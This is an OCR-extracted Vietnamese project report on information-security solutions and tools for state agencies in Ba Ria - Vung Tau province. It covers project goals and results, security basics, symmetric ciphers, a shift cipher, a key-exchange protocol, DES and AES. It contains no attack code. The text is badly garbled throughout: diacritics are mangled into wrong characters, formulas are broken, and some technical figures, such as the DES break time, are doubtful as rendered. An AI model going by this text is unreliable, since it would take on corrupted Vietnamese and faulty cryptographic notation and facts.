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LOINOI DAU

Trong thoi dai hién nay bao mat thong tin 1a mdt trong nhimg vin dé _quan
trong hang ddu cla cic hé théng thong tin dién tr. Theo xu _huong phat trién thi
trong mot twong lai gan, mang s& [a mét thanh phin khong thé thiéu ddi voi cac hé
théng thdng tin ctia moi td chirc, hon nira 12 dua trén sy tién loi va hiéu qua cua
mang may tinh, hiu het cac giao dich, dich vu elta xa hdi s& duge trién khai trén
mang. Khong thé trién khai cac hé thong théng tin dién tir, khong thé x4y dung
dugc céac Co s6 dir liéu Québc gia va ciing khéng thé xic tién tién cac dich vu
thuong mai dién tr mot cdch hi€u qua dugc n€u nhu khong ¢o cac giai phap va
cong cu bao mdt thong tin an toan, nhanh chéng va ti€n dung. Chac chan bao mat
thong tin s€ la mét thanh phan khong thé thiéu trong cudc song 56, khong nhing chi
trong ‘giai doan trudc mat, ma con dbi vai su phat trién lau dai cta linh vic cong
nghé théng tin trong tuong lai.

Bao mit thong tin 14 bao dam sy 6n dinh, an toan cho cic hé théng thong tin
hoat dong lién tuc dé dam bao cong viéc cua cdc td chtrc, ca nhén khéng bi gian
doan gdy nén nhimg hau qua dang tiéc. Khi cong nghé thong tin phat trién ngay
cang manh thi doi hoi bao mat thong tin phai phat trién theo dé bao dam cho sy én
dinh ciia phat trién cong nghé thong tin. Dé tai Xay dung giai phap va cong cu bao
mét (cho cac hé théng thong tin trén mang cua cic co quan quin ly Nha nudéc tinh
Ba Rja - Ving Tau) nham hd trg céc chirc ning bao méit va bao dam an ninh cho
cac hé théng thong tin trén mang thudc cic co quan quan ly nha nuéc tinh Ba Rija -
Viing Tau.

Két qua ap dung giai phap bao mat va cac cdng cu hd tro nd mang tinh tuong
d6i, khong c6 mdt gidi phap bao mét ndo mang tinh bao mat tuyét dbi dé ap dung
cho cac hé thong théng tin trén mang va lam cho né bét kha xam pham. Pé taj nay
tap trung vao cc ndi dung nghién ctu xdy dung cic giai phap va bd cong cu bao
mét, an ninh mang va két qua ap dung ciing c6 gidi han nhur di néi & trén.

Don vi chi tri dé tai va tac gia chan thanh cam on S& Khoa hoc va Céng nghé
tinh Ba Rja - Vung Tau d3 hd trg va tao didu kién thun lgi cho viée thuc hién dé

tai. Cdm on céc cén b cua céc so, nganh, cic huyén, thi, thanh phé da tham gia va
g6p phén vio viéc hoan thanh dé tai.

CHU NHIEM DPE TAI

TS. NGUYEN XUAN DUNG



o PHAN I ] o
MUC TIEU VA NOI DUNG CUA PE TAI

L/ MUC TIEU CUA PE TAI

1./ Cac muc tiéu trwdc mit

Xay dyng giai phap va cong cu bao mat nhim hd'trg cdc chirc nang bao mat va bao
dam an nmh cho cac hé théng théng tin trén mang thuge cdc co quan quan Iy nha
nudc tinh Ba Ria — Viing Tau. Dé tai nay phai dat dwogc cac muc tiéu sau:

1) Nghién ciru xdy dung cic giai phdp va bd cong cu bao mit cho cac hé théng
thong tin trén mang cla cic co quan quan 1y Nha nude cua tinh Ba Ria -
Viing tau.

2) Trién khai 4p dung giai phap bio mat va an ninh mang cho hai mo hinh hé

théng thong tin cla co quan quan Iy nha nudc, 1am md hinh nhén rong cho
cac hé théng thong tin khac.

3) Ning cao trinh d6 vé bio mat va an ninh mang, t& chire dao tao cho cén b
quan tri hé thon2 va quan ly an ninh mang cho mét sb can bd cong nghé
théng tin nong cbt ciia tinh.

2./ Cac muc tiéu 1du dai
Sau khi hoan tat dé tai, s& tiép tuc trién khai cac muc tiéu sau:
1) Duara by giai phap bdo mit va an ninh mang cho céc hé théng théng tin.

2) Tu vAn va cai dit cho cAc nhu cAu bao mit cho céc hé thdng théng tin khac
nhau trong cac ¢o quan quan 1y nha nudc.

3) Hoan thién va nang cép bd giai phap va cdng cu dap img véi cic nhu ciu
phat trién clia cong nghé.

4) Xay dung cac cong cu bdo mét chuyén dung cho mét sé dang g dung dic
thu.

IL/ NHUNG NQI DUNG PE TAI CAN THU'C HIEN

1./ Khao sat hi¢n trang cic ng dung bio mit ciaa cic hé thong thong tin thudc
dién quan ly nha nwdée tai tinh Ba ria - Viing tau (tai li¢u khdng céng bé).

- Hién trang
- Cac giai phap va cong nghé d4 va dang dugc ap dung

- Tinh hi¢u qua cia viéc quan ly cic hé théng vé phuong dién bdo mat va dich
vu,

- Cdc dé xuat va khuyen cdo fién quan dén vén @& an toan cia cac hé théng
thong tin.



2./ Khao sit, phin loai va phan tich cac phwong phap tin céng trong cic méi
trwong img dung khic nhau. Pe ra cac gidi phap phong thi.

2.1./ Mdi trwong hé diéu hanh

Nghién ciru cac 15 hdng bao mat clia hé diéu hanh Windows. Phén tich chi
tiét nguyén nhan ciia cic 16 hdng, cic phuong phap tAn cong va phong thi.

Pua ra demo thuc té cho tit ca cac nghién ¢iru d¢a thuc hién.
Nghién ctru dé dur doan frong lai ctia bao mat trén cac hé diéu hanh.

Nghién ctru dé dé xuat cac phuong phap khéc phuc 16 hong bao mét cho cac
hé diéu hanh & mirc hé thong, tong quat.

2.2./ Cac hé thong quan Iy file trong méi truéng hé di¢u hanh Windows

Nghién ctru céc 16 hong bao mat ciia cc hé thong file hién nay trong moi
trudng Windows. Phén tich chi tiét nguyén nhan cua cac 16 hong, cac phuong
phap tan cong va phong tha.

Pua ra demo thuce té cho tat ca cac nghién ciru da thyc hién.
Nghién ctru dé du doan trong lai ctia bao mat trén cac hé théng file.

Nghién cuu dé dé xudt cac phuong phap khéc phyc 18 hdng bao mat cho céc
hé théng file & mirc hé théng, téng quat.

2.3./ Cac hé quan tri CSDL trong méi trrong Windows.

Nghién ctru cic 16 héng bdo mat caa céc hé quan tri co s¢ dit lidu hién nay.
Phan tich chi tiét nguyén nhan ctia cc 16 héng, cac phwong phap tén cong va
phong thu.

Dua ra demo thyc té cho tit ci cdc nghién ctu d3 thyuc hién.

Nghién ciru dé du doan twong lai cua bao mat trén cac h¢ quan trj co s& di
liéu.

Nghién ciru dé d& xudt céc phuong phap khac phuc 15 héng bao mét cho cac

hé quan trj co s& dit liéu & mitc hé théng, tong quat chir khong phai & mirc xir
ly tinh hudng.

2.4./ Chinh sich bio mat

Nghién ciru cac 16 hong bao mat gdy ra boi cic chinh sach bao mét cua ngudi
dung trén cac hé théng hién nay. Phan tich chi tiét nguyén nhan cua céc 13
héng, cac phuong phép tén cdng va phong thu.

Dua ra demo thyc té cho tt ca cac nghién ctru da thuc hién.

Nghién ctru dé dua ra mot hé thdng phuong phap gitp xac ldp cac chinh sach

bao mét hop ly & muc téng quét chi khong phai & mirc xir ly tinh huéng nhu
da nghién ciru trude do.



2.5/ Méi trwomg phit trién Wmg dung va cic img dung trong méi trwdmg

windows
Nghién ciru cac 16 hong bio mét ciia cic méi trudmg phit trién (mg dyng va
156i bao mat ctia c4c img dung hién nay. Phan tich chi tiét nguyén nhan cua cic
15 héng, cac phuong phép tin céng va phong thi.
Pura ra demo thuc té cho tit ca cac nghién ¢t da thuc hién.
Nghién ciru ¢é du doan twong lai clia bio mat trén cdc méi trudng phat trién
img dung va cia céc tmg dung.
Nghién ciru dé dé xuat cac phuong phép khic phuc 16 hong bao mat cho céc
mdi trudng phdt trién ing dung va cic img dung & mic hé thong, téng quat
chir khong phai & murc xir 1y tinh hudng nhu d3 nghién ciru trude do.

2.6./ Bang thong mang

Nghién ctru céc phuong phép tén cong va phong thi dbi véi nhitng tin cong
lién quan dén béng thong mang.

Pua ra demo thye té cho tit ca cac nghién ciru da thuc hién.
Nghién ciru dé du doan twong lai ciia loai tAn cong nay.

Nghién ciru dé Qé xudt cac phuong phap phong thu cho loai tan cdng nay ¢
muc hé thong, tong quat chir khong phai & mire xir Iy tinh hudng nhu da
nghién ciru trude do.

2.7./ Céc img dung hd tre ting crong kha ning bio mit

Nghién ctru, phan tich céc kha ning hd trg bao mat bao mit nhu céc tmg dung
firewall, cic ing dung chong virus...

Pura ra demo thuc té cho tit ca cac nghién ciru da thuc hién.

Tt ca céc nghién clru déu phai dugce tai liéu héa theo chuén tai liéu duge quy
dinh thong nhét cho dy 4n.

3./ Dé ra cdc yéu cu, gidi phap va mé hinh phong thi cho tirmg kiéu tin cong:
4./ Tong hop cic gidi phap

T4 hop va tong hop cic khao st trén d€ néu ra cac yéu cu vé cic giai phap

va xiy dung cong cy can thiét cho viéc (mg dung céng bao mat cho cac hé thong
thong tin.

5./ Xay dung b$ cdng cu hd tro cho viée thwe hién cac gidi phap:

B$ cong cu nay s& bao gom mét bé cac phin mém thuc hién céc chirc ning

tng dung bio mét khac nhau c6 thé 4p dung cho nhidu hé thong thong tin.

Céng cy (phdn mém) kiém tra d6 an toan cua hé théng
Cac cdng cu hd trg cho viée bit cac 16 héng bao mat

Cac cong cu hd tro cho viée thiét 1ap cac co ché va chinh sach bao mdt trong
cac hé thong thong tin



6./ Cai dat thir nghiém hé thong, ch4p nhin sir tin cdng ciia cic haker.

- Xay dung mét hé thong thr nghiém cac dang tin cong khac nhau (liét ké kha
nidng phong thi d6i v6i cac dang tAn cong khéc nhau).

- Hoan chinh céc cbng cu va bé sung giai phdp phong th.
7./ Bién soan tai li¢u
Bién soan tai liéu cho cic nghién ciu trén. Xay dung tai liéu tng hop vé md
hinh va gidi phap phong thu.
8./ Pao tao, tip huin, hdi thio
- To chure tap huan vé viéc ap dung cic giai phap va céng cu bao mat cho mdt
sé can b cong nghé thong tin ndng cdt ciia mdt sb s ban nganh.

- Tb chirc hdi thao danh gia két qua, rat kinh nghiém, bb sung giai phdp va
chinh stra bo cong cu cho phu hop.

9./ Lip bdo cdo tong hop

I1I/ PHAM VI GIOI HAN CUA PE TAI

- Xac dinh hién trang va co ché quan Iy ctia cac hé théng thong tin thude dién
quan ly nha nudc cia tinh Ba ria — Ving tau dé xay dung céc giai phap bio
mdt thich hop. _

- Téap trung nghién ciru cic g1a1 phép va cac cong cu hd trg bao mit chi yéu
trén moi trudng MS. Windows 14 méi trudmg Umg dung cac hé théng théng tin
phd bién hién nay.

- Ap dung cai dat thir nghiém cho 2 don vi thudc dién quan ly nha nuéc tinh Ba
Ria — Viing Tau.

- B4 giai phap va cac cong cy cia hé thépg cd ’thé ap dung cho céc hé théng tin
ctia tinh v&i sy cdp nhét céc thong tin can thiét cho dén thoi diem hién tai.

IV./ NHUNG KET QUA MOY CUA DE TAl

1./ D& tai dd khao sat, danh gia hién trang céc ng dung bdo madt tai 30 hé théng
thong tin thuge di¢n quan ly nha nude tai tinh Ba Ria - Viing Tau, dong thini dé xuat
va khuyén cdo lién quan dén vén d& an toan, bao mét cta céc hé thdng thong tin.

2./ Dé tai da nghién ciru, khao sat va bién tip mdt cic c6 hé théng cac phuong phap
tin cong va bién phip phong thi trong cic méi trwong img dung khac nhau.

3./Dé tai da xay dung dugc bd cdng cu khao sat 16 hong va danh gia diém yéu cua
cac hé théng thong tin va dua ra cac bién phap khic phuc.

4./ Dé tai da x4y dung dugc bd giai phép bao mit ap dung chung cho moi truomg
Windows.



5./ D& tai ciing da x4y dung hé thdng thir nghiém cac dang tin cong trén méi truwdmg
Windows.



PHAN II
TONG QUAN VE CAC GIAI PHAP BAO MAT VA AN NINH
MANG, HIEN TRANG TAI TiNH BA RIA - VONG TAU

CHUONG I
TONG QUAN VE BAO MAT THONG TIN & TINH THIET YEU
TRONG VIEC XAY DUNG CAC SAN PHAM BAO MAT CUA
VIET NAM.

I/ TONG QUAN VE BAO MAT THONG TIN
1./ Bbi canh chung

Trong thoi dai hi¢n nay Bao mét thong tin 12 mét trong nhing van dé quan
trong hang dau cia cac hé théng théng tin dién tir. Theo xu hudéng phat trién  thi
trong mt twong lai gan, mang s& 12 mét thanh phin khéng thé thiéu dbi voi cac hé
théng théng tin clia moi té chitc, hon nira 12 dya trén sy tién lgi va hiéu qua cua
mang may tinh, hiu hét cac giao dich, dich vu cua x3 hdi sé dugc trién khai trén
mang. Khong thé trién khai cac hé théng thong tin dién tir, khong thé xiy dung
duge cic Co s¢ dir lidu Quic gia va ciing khong thé xtc tién tién céc dich vu
thuong mai dién tr mét cach hiéu qua dwoc néu nhu khéng c6 cac giai phap va
cong cu bao mét thong tin an toan, nhanh chong va tign dung. Chac chin bao mat
thong tin s€ la mot thanh phan khéng thé thiéu trong cudc song s6, khong nhimg chi
trong giai doan trudc mit, ma con dbi voi su phét trién lau dai cta linh vue cong
ngh¢ thong tin trong tuong lai.

Chting ta cin hléu ring bdo mat thong tin khong chi la viéc bao vé cac dir ligu
clia ngudi ding, clia td chirc. Bao mat théng tin con 1a viéc bao dam su n dinh, an
toan cho céac hé théng théng tin hoat dong lién tuc dé dam bao cOng viéc lam an cua
céc o chirc, c4 nhén khéng bi gian doan gay nén nhimg hiu qua dang tiéc. Chinh vi
vay, khi cong nghé thong tin phat trién ngay cang manh thi doi hoi bao mét thong
tin phat phat trlen theo dé bao dam cho sur 6n dinh ctia phat trién cong nghé théng
tin. Do d6 cac vin d& quan tim va muc tiéu nghién ciru trong linh vuc bao mit
thong tin s€ ngay cang rdng 16n va phuc tap.

Dé c6 thé ndm bét va theo kip téc do phat trlen cia cong nghé thong tin noi
chung va bao mat thong tin néi riéng thi cac don vi, td chirc cin phai gép rat c6 ké
hoach cho viéc nghién ciu, 4p dung bao mat théng tin vao hé théng thong tin cia
minh ¢ang som cang tot dé khong bi roi vao tinh trang lac hdu va tu dao thai minh ra

khoi the gidi cong nghé thong tin, ddng nghia véi viée ¢6 14p minh véi thé gidi dang
phét trién bén ngoa’l.

Nhu d4 néi & trén, nhitng van dé vé bio mit thong tin dang ngay cang trd
nén ndi com, khi viéc tri€n khai trén cdc mang dién rong cdc cd s& dit lidu 16n,
lién quan d&€n nhi€u nguén tai nguyén thong tin qui gid khdc nhau cda cic quic
gia trong nhiéu finh vyc, va viéc thyc hién nhiéu dich vu v ing dung quan trong
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trén mang. C6 thé néi ring, viéc si dung mang c6 thé dem dén cho anh rit nhieu
didu qui gid nhung ddng thdi n6 ciing cé thé tudc doat clia anh tat c&, mdt khi sy
an toin clia thdng tin 13 khong bdo ddm.

Bdo mat thong tin 13 mét khdi niém khd rong lién quan dén nhiéu co ch€ va
cdc tAng bao vé& khdc nhau: tit cic cd ch€ vt 1y cho dén cdc gidi phdp k¥ thuat. o]
diy chung ta chi xét dén cdc khia canh k§ thuit trong bio mdit théng tin, ma
nhitng v&n d€ nay di tryc ti€p hay gidn ti€p déuién quan dén mat mi hoc. Vé cd
ban, mit mi hoc ¢6 thé xem nhtt 13 mdt phin cla ly thuy&t ngdn ng& hinh thic,
vi bdn chit ciia n6 1a lién quan d&n 1y thuyét dich va bién dich. Tuy nhién, trong
thuc t&€ cdc khdi niém va cdc k&t qud ciia Iy thuyé&t ngdn ngi hinh thic truyén
théng mdi chi ¢6 mdt s& ing dung it i trong mit ma hoc. Trong khi d6, 1y thuyét
d6 phic tap lai la diéu ¢At yéu trong mit mi hoc. Chﬁng han, mot hé mad mat ¢o
thé dudc coi 13 an toan, néu van dé thim ma, nic 13 vin d& “phd ma™ 12 mot bai
todn bat tri. Pic biét, néi riéng, d6 phifc tap clia mot s6 bai todn trong 1y thuyét
s& d3 té ra c6 nhiéu wng dung c6t y&u trong mét mi hoc hién dai. Mot cdch tdng
quét hon, tr tudng cdt 16i clia mat ma hoc hién dai, cdc hé ma khéa cong khai, s&
khong th€ c6 dugc, néu khdng hi€u bi€t vé d6 phifc tap clia cdc bai todn. Nguge
lai, Chinh Iy thuy€t mi lai déng gép nhiéu khdi niém va o tudng hi€u qua cho sy
phit trién cta ly thuy&t do phic tap.

Trong thdi gian gin ddy, ¢6 su biing nd trong viéc gia ting s& lugng cha cdc
" nghién cttu lién quan dén mit mi hoc do hai nguyén nhén chinh sau diy. Trude
h&t, mat ma hoc cdng khai, do chinh né ¢6 tim quan trong cyc k¥ to 16n d3 tao ra
cdc itng dung hoan toin mdi, ma mét s6 lai khé trdi nguge véi cdc khdi niém lién
lac truyén théng gifta cdc phia vdi nhau, dic biét 1a cdc Wng dung trén cdc mang
may tinh di€n rdng. Mét khic, nhu ciu v& mat mi hoc di ting 1én nhanh chéng
do nhitng ddi héi khdc nhau vé tinh an toin dit liéu. Nghia 13, gi® ddy mat ma
hoc da ¢6 nhitng tng dung thidt sy tich cyc, khdc vdi nhitng iing dung tiéu cuyc
trude ddy chi y&u phuc vu cho chién tranh... Céc ng dung tich cyc déu lién quan
tritc ti€p hay gidn ti€p dén viéc bdo didm sao cho chi ¢6 nhitng chii nhin hay
nhitng ngudi c6 thdm quyén mdi c6 thé truy nhip dudc thong tin luu trit trong mot
hé thOng thong tin ndo do.

2./ Céc gidi phap ¢d ban nhiim bao mat thdng tin

C6 hai phuong phdp khdc nhau d€ dat t8i muc tiéu bdo mat théng tin trong
cdc hé thdng mdy tinh 1a: kiém sodt 16i vio va mi héa dit liéu. Phuong phdp diu
nhdm ngan cdn sy thim nhdp trdi phép vao cdc hé théng nhd viéc xdy dung cic
rdo chin ki€m sodt thich hgp, vi du nhy mat khiu, “bitc tudng 1a” ..., ma chi
nhitng ngudi duge phép st dung mdi qua dugc d€ vao hé thong. Tuy nhién vdi
cdch nay vin ¢6 nhitng y&u t8 khéng hoin toan bio ddm, bdi vi nhitng cong cu dé€
tao khéa va phan phdi khéa nhu viy lai khong phai do nhitng ngudsi chii hé thong

8



tao ra va ki€m sodt. Ngodi ra cdc dit liéu luu trit bén ngodi ciing cin phdi dugc
bdo v&, ma diéu nay dudng nhu chi c¢6 sy bdo vé thuin tdy vit 1y 1a c6 thé dat
dudc muc dich. Nhu vay, néu ddi hdi mot d6 an toin cao cho dif lid¢u (ching han
cho muc dich quén sy, thudng mai hoic ngoai giao) thi viéc kiém sodt 16i vao hitu
hiéu rd rang la c6 thé dat dudc chi bing s bio vé thudn tdy vt Iy. Ma di€u nay
lai trd nén khong thyc tién khi quan hé va giao ti€p vdi cdc hé thong tin 16n, dic
biét 14 trén cdc mang dién rong. .

Phuong phdp thit hai d€ kiém sodt sif truy nhip thong tin 13 mi héa cic dit
liéu. Diéu ndy c6 nghia 1 théng tin duge Ivu trit trong hé dudi dang di dude mi
héa. Khi d6 ngudi truy nhip trdi phép, du c¢6 dudc thdng tin ¢ dang ma héa, thi
cdc thong tin ny vin 12 v6 dung néu ho khdng biét cdch gidi mi. Do d6 néu gia
dinh ring cdc ky thuit md héa khé phd dugc st dung thi hé thdng s& 13 an toan
chdng lai dugc nhitng ngudi s dung trdi phép. Ngodi ra, phuong phdp mi héa dir
ligu con c6 nhiéu wu diém thuc t&€ ma ta s& xét dén sau.

3./ Cdc khdi niém cd ban
3.1./ Pinh nghia phi hinh thic vé mdt hé ma mat

Biy gid ta s& xét d€n mot s khdi niém va thuit ngif s& duge ding dén sau

nay.

Xét cdc thong bdo duge chuyén qua mot kénh truyén tin nao d6 (cé thé
khong an toan). Cic thong bdo nhu vdy la nguyén ban (plaintext) hay con goi 12
ban 5 (cleartext). P& ting d6 an toan, ngudi glii mi héa nguyén ban va gii ban
md (ciphertext) nay qua kénh truyén tin. Sau d6 ngudi nhan gidi mi bin ma dé
lai ¢ nguyén ban.

Viéc mé héa va gidi md thudng dugc thuc hién theo mot hé mi mit da
dugc md td r6. V& thuc chit, mdt hé ma mat duge dic trung bdi mot tap (thudng
1a v6 han) cdc khéa. Mbi khéa K xdc dinh moOt ham m3 héa ex va mot ham gidi
mai dg. Bdn mi c ¢6 dudc tlt bdn rd w khi diing eg:

ex(w) =c¢
Ngudc lai:
de(c)=w
Nhu véy:
difex(w)) = w (1)

Theo nghia nay thi dyx 1a ham nguge cda ey.

Mot cdch cy thé hon, mdt hé ma mat CS (crypto-system) gébm mot khong
gian ban r3, mdt khong gian badn ma va mdt khdng gian khéa. C ba khong gian
nay c6 Iwe lugng nhi€u nhat chi 1a d€m duge. Pic biét, khong gian ban 1 c6 thd
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1a mot ngdn ngit hinh thic trén mét ban chit cdi T nlo d6, hodc 1a tip tit cd cdc
cau c6 nghia trong mot ngdn ngit tr nhién ndo d6, ching han ti€ng Anh. Tuong ty
khong gian ban mi c6 thé 12 mdt ngdn ngi hinh thic trén mot ban chit cdi A nao
do. Mdi khéa K sé& xdc dinh cdc dnh xa eg va dg theo nghia ndi trén. Vi du, néu
khong gian ban rd la £*, khong gian ban md 1a A*, thi e 12 mdt cdch dich tir 2*
sang A*

Trén diy ta di dua ra khdi niém tryc gidc +v& mot hé mi mit, chua ¢ thanh
phan nio trong ba thanh phin clia hé mi mét dugc dinh nghia mét cdch hinh théc
va cdch lién két cdc dnh xa ex va dg vdi khéa K ciing chua duge dinh nghia hinh
thitc. Bdy gidf ta s& xét dén vin dé th€ nao 1a nhiing tidu chuin d€ quyét dinh mot
hé mi t6t hoidc xau. Piéu nay lién quan dén mot s6 bai todn 1a d€, khé hay bit tri.
Theo quan diém mat mi hoc, bat ky bai todn NP-ddy dd nao ciing s& dugc xem
nhu 1a bt tri, con bai todn dé ddi héi d6 phiic tap dugc gidi han bdi mét da thic
bac thip. Ngodi ra cdon mot vin d€ ciing cin luu y & ddy 13, néu chi theo (1) thi dg
12 him nguge cla ek, nén néu biét ek thi trong trudng hdp tdng quit viée xdc dinh
dg tit ex khong phéi lic nao cling duy nhit. Nghia 13, ¢ thé tdn tai mot tip cic
ham gidi ma khdc nhau tit mdt him 14p mi. D€ bdo dam tinh duy nhit cla viéc
gidi md ddi hdi cdc diéu kién d€ viéc gidi bai todn tim ham ngudc phii cho
nghiém duy nhat.

Cho khoa K va ban rd w. Viéc tinh todn bdn mi ¢ = ex(w) cin phai d&
dang trong mot hé mit ma t5t. Ngodi ra, viéc tim bén rd w tir phuong trinh w =
dg(c) ciing phai nhu vdy. Di€u nay c6 nghia 12 mdt ngudi nhin hdp phdp ¢6 kha
ning khéi phuc lai ban rd tit bdn ma khong qud phién phitc. Theo quan di€m Iuu
tri¥ va truyén dit lidu thi cdn ¢ mdt yéu ciu nita 13 bdn mi ¢ khdng dugc qué dai
so v3i ban rd w.

3.2./ Dy bdo vé tinh an toan ciia cdc hé ma

Nhu da ndi § trén, tinh an toan ciia hé mi tily thudc vao do khé cla viée
thim mi, va di€u ndy trong thyc t& phy thudc vao dd phuc tap tinh todn cla viéc
gidi quyét bai todn thim ma trén mdy tinh. Tuy nhién vdi sy ting tdc x& Iy cda
mdy tinh v vdi sy hinh thanh vdi du bdo phdt tri€n clia cdc thé hé c6ng nghé mdy
tinh mdi, nhu mdy tinh lugng t& véi toc do xi Iy c6 thé nhanh hon hang triéu hoic
thdm chi hang trim tri€u 14n so véi mdy tinh dién ti hién nay; hodc vdi su ra ddi
cia cdc mdy tinh sinh hoc théng minh thi nhitng bai todn “bat tri” hém nay hoan
toan ¢6 thé “tri “ dudc trong twong lai. Do d6 cudce chay dua gifta viéc bio dam sy
an todn va tin céng thdm md vdo cdc hé thdng thong tin s& mdt cudc rugt dudi
khOng ngitng.
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Trong nhilng phdn tiép theo chiing t4i s& trinh bay cdc md hinh bdo mat tir
Iy thuy&t mat mi hoc hién dai dugc 4p dung trong cdc hé¢ thdng miy tinh dong
thdii ching tdi ciing s& thao ludn chi ti€t vé& mot s§ khia canh trong ing dung thyc
t&. Cudi cling chiing t&i s& dé xudt mét s3 ¥ ki€n trong viéc Iya chon va trién khai
cdc chi€n lugc bdo mat thong tin.

11/ TONG QUAN VE CAC HEE MA VA CAC'CHUAN MA HOA DU LIEU
1./ Cdc hé mi ¢6 dién

Trong phin niy ta s& trinh bay vé cdc hé mi khéa bi mat hay ching cdn
dude goi 1a cdc hé mi ¢d dién, phin I6n trong s nay 1a nhitng hé mi ¢6 W ndm
1975 trd vé trudc. Nhitng hé ma nay déu c6 chung mdt tinh chat 13, néu biét khéa
lip mi ek ta ¢6 thé d& dang tim duge ham gidi mi dg, nén ching thudng dude goi
1a cdc hé ma d6i xing. Viéc giit bi mat khéa trd thinh van dé sdng con clia hé

ma.

Pinh nghia : Hé md mdt la mét bé nam P,C,K,E,D), thda mdn cdc diéu kién
sau:

1. P la khong gian bdn ré
2. Cia khéng gian bdn ma
3. K la khong gian khéa

4. Voi mbi K € K, thi ton tai ham lgp md ex € E va ham gidi md dy € D.
Méiex: P - Cvadyg: C —»Placdc ham thda dxlex(x)) = x vdi mbi x € P.

Vi du:
Hé ma dz‘{y (Shift Cipher)

Hé ma ddy c6 thé trinh bay mét cdch hinh thifc nhu sau:

ChoP=C=K =Zy. V6i 0 £ K £25, ta dinh nghia

ek =X+ Kmod 26

dk =y - Kmod 26

(X,y € Z2)
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2./ Cac hé ma d6i xing
2.1./ Tinh an toan
Tinh an toan cia cdc hé ma ddi xitng phu thude va cdc yé&u 13 sau:

e Thd nhit, khong gian khéa phai dié 16n d€ xdc suit thanh cong khi
tim ki€m ngiu nhién 12 rit nhd.

o Th hai, v6i cdc phép trdn thich hgp cdc hé mi d6i xiing c6 thé tao
ra dugc mot hé ma mdi cé tinh an todn cao.

Vdi nhitng thdng bdo ma tinh bdo mit cla né chi cin bdo dim trong mdt

khodng thdi gian xdc dinh nao dé, thi hoan toan c¢6 thé Iva chon mét hé ma thich
hop d€ thuc hién.

o Thit ba, vin dé€ bio mét cho viéc truyén khéa ciing cin dugc xit Iy
mdt cich nghiém tic. Ching han, A v B tr lva chon cdc hé mi clia minh, gia st
cdc hé mi d6 1a giao hodn. Khi d6 ta c6 thé thiét 1ip mot nghi thitc truyén khda
nhu sau;

i. Agtiea(w)choB

ii. B glieg(ea(w)) cho A
iii. A giti da( ep(ea(w))) = da(ealep(w))) = ep(w)choB
iv. B giai ma dg( ep(w)) = w.

V4i nghi thitc niy ta khong cin phai truyén trudc cic khéa md trén dudng
truyén khong an toan. D4u tién A giti hop cho B bing khéa ey . Sau d6 B gt tra
lai hop d3 duge khoa theo khéa ep cho A. Tiép theo, A m& khéa e, rdi giti lai hop
cho B. By gid B ¢4 thé md hop. Nhu viy hdp ludn ludn duge bdo vé bing it nhat
mot khéa.

2.2/ Tham ma
Theo nguyén ly Kerckhoff, d€ ma thim ngudi thdm mi phai biét trudc hé

mi nao dugc st dung. Phuong phdp thim ma tly thudc vao ting hé mi. Tuy
nhién vdi viéc két hop cdc dic trung thong ké ciia ngén ngit ban rd dang xét s&
lam ting mot cich ddng k€ t6c d6 thim ma. V& nguyén tic déu c6 thé bé khéa
cdc hé ma ddi xitng vdi thdi gian va phuong phdp thich hgp.
2.3./ Cai dat

Hau hé&t cdc hé ma doi xing déu c6 thé cai dat duge trong ddi d& dang vdi toc
d6 thuc thi nhanh.

3./ Cic hé mi chudn
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Trong muc nay sé& trinh bdy mot hé mi chudn dién hinh di dugc sit dung
rong rai cho bdo mit dit liéu trong cdc hé thdng mdy tinh. Sau d6 s& gidi thidu sd
b vé mdt s& hé mi chuin md rdng khdc nhw RC6, MARS, RIINDAEL,
TWOFISH ..v3i cdc dic thd riéng vi cdc tinh chdt chung cia ching. Ciing cin
nhin manh ring, cic hé ma chudn, n6i chung déu 1a nhitng vi du dién hinh cta
viéc 4p dung cai dit cdc thanh tuu cia mit ma hoc hién dai trén mdy tinh.

3.1/ H¢ DES (The Data Encription Standard)-

Ngay 13 thang 5 nim 1973 fIy ban Qudc gia vé Tiéu chuin clia My cong
b& yéu cAu vé hé mi mat dp dung cho toan qudc. Diéu ndy dd dit nén méng cho
chuin mi héa dit liéu, hay 12 DES, masau nay d3 dugc dp dung rdng rii trén toan
the gidi. Liic diu DES dudc phét trién tai Cong ty IBM nhu 13 mot bién dang cla
hé ma Lucifer. DES dude cong bd 1in diu tién vao ngay 17 thing 3 nim 1975.
Sau mdt loat cdc thdo luin cong khai DES dudc xem nhu 13 chu&n md héa dit
liéu cho cdc Ung dung ti¥ ngay 15 thing 1 nim 1977 do Uy ban Quéc gia v& Tiéu
chudn cia My xdc nhin va ¢t 5 nam mét I4n lai c6 chinh sira, b8 sung.
V& thyc chit DES 13 mot hé mi dude trdn bdi cdc phép th€ va hodn vi, 12 nhing
hé mi khd don gidn. Tuy nhién vdi phép trén thich hgp thi viée gidi ma né lai
142 mot bai toan kha khé. B(“Sng thdi viéc cai dit hé ma nay cho nhitng Ung dung
thyc t€ lai khd thuin l¢i. Chinh nhiing 1y do d6 d3 minh chitng cho nhiing tng
dung rong rdi cia DES trong sudt hon 20 nim qua, khéng nhitng tai My ma
con 1a hiu nhu trén khip th€ gidi. Mic du theo cdng bd mdi nhat (nim 1998)
thi moi hé DES, vé&i nhitng khd ning cla mdy tinh hién nay, déu cé thé bé
khéa trong hon 2 gid. Tuy nhién DES cho d&€n nayvin 12 mdt mdé hinh chuin
cho nhitng ¢¥ng dung bdo mit trong thyc t€.

3.2./ Cdc chudn ma héa ning cao AES (Advanced Encryption Standards)

Mic du bi bé khéa sau hon 20 nim ton tai v&i rit nhiéu @ng dung da
dang khéc nhau, hé DES da dudc minh chitng nhwr 13 mot hé ma chudn vdi tit
cd cdc dic tinh vu viét cda minh:

o D& cai dit
e Té&c do thuc thi cao (14p mi, gidi ma)
¢ An todn trong sudt mdt thdi gian dai.
Viéc hé DES bi bé khéa phin I6n tip trung & cdc yéu di€m sau:

1. Khéng gian khoa khong dd 18n (56 bit), khi toc & xit Iy ctia mdy
tinh ting lé€n thi viéc duyét khéa hodn todn ¢é khd ning thinh
cong. |
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2. Mic di dd c6 nhidu qui dinh cdia cdc S-hép d€ ting tinh phi tuyén
cho hé mi (tinh an toan), nhung cdu tric cda cdc S-hdp con qud
don gidn, vd yéu diém ndy dd dugc tin dung dé bé khéa bing
thdm ma vi sai.

3. Céc thanh phin c6 dinh vi cong khai cia hé ma ciing dugc tin
dung mdt cach triét dé trong ma tham.

Nhu cAu thay thé DES 1a mot tit y&u, d€ khic phyc nhifng nhugc diém
trén va gi? lai nhifng wu diém ciia DES trong cai dit va ng dung nhiéu hé ma
chuin ning cao di dugc dé xuit nhu: RC6, Twofish, Mars, Rijndael, v.v...
